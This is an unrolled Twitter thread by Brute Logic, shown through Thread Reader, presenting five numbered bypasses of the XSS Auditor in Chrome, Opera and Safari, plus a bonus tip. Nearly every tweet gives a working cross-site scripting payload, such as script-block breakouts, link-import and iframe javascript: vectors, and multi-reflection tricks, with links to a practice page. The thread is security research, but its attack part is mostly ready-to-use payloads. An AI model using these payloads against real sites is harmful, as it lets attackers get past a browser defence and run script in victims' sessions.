Gonna start a series of tweets about current bypasses in #XSS Auditor, 1 per day.

Bypassing Auditor increases dramatically the success of a XSS attack and the impact of such flaws, affecting users of following major browsers:

Chrome, Opera and Safari.

Stay tuned! 😎
#XSS Auditor Bypass #1

The easiest one, HTMLi breaking out from script block (it must land where JS syntax is not affected though).

</script><svg><script>alert(1)%0A-->

brutelogic.com.br/xss.php?c1=%3C…

Notice the source code becomes red flagged (sign of Auditor) but it still executes.
#XSS Auditor Bypass #2

In reflections of URL where payload can be included on its path (like in PHP_SELF vulnerability or friendly URLs).

<link rel=import href='.&#47"><svg%20onload=alert(domain)>'>

brutelogic.com.br/xss.php/%22%3E…

Support to link imports will end soon though.
#XSS Auditor Bypass #3

Main case, outside tags and whenever there's more code after it to close injected HTML.

<iframe src="javascript:alert(1)%%0D3C--

brutelogic.com.br/xss.php?a=%3Ci…

Discovered almost 2 years ago (shared privately), it works w/ every XSS vector w/ src or href.
(missing a ! after 0D3C in payload above)
#XSS Auditor Bypass #4

Single input, multi injection scenarios (single input) for HTML alone or HTML+JS contexts.

"`/alert(1)</script><script>`

brutelogic.com.br/multi/double-h…

brutelogic.com.br/multi/double-m…

There can't be a full script block between reflections though.
#XSS Auditor Bypass #5

Call of uploaded image files with JS code from publicly accessible URLs in same origin.

<link rel=import href=/path/file.ext>

brutelogic.com.br/xss.php?a=%3Cl…

brutelogic.com.br/xss.php?b1=%22…

SVG file extension also works with
<embed src=/path/file.svg>
* BONUS *

A #XSS Auditor bypass is also possible if you can import (from same origin) a JS lib or an entire document with a DOM-based vulnerability.

brutelogic.com.br/xss.php?a=%3Cl…

EOT. 😎

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Brute Logic

Brute Logic Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Too expensive? Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(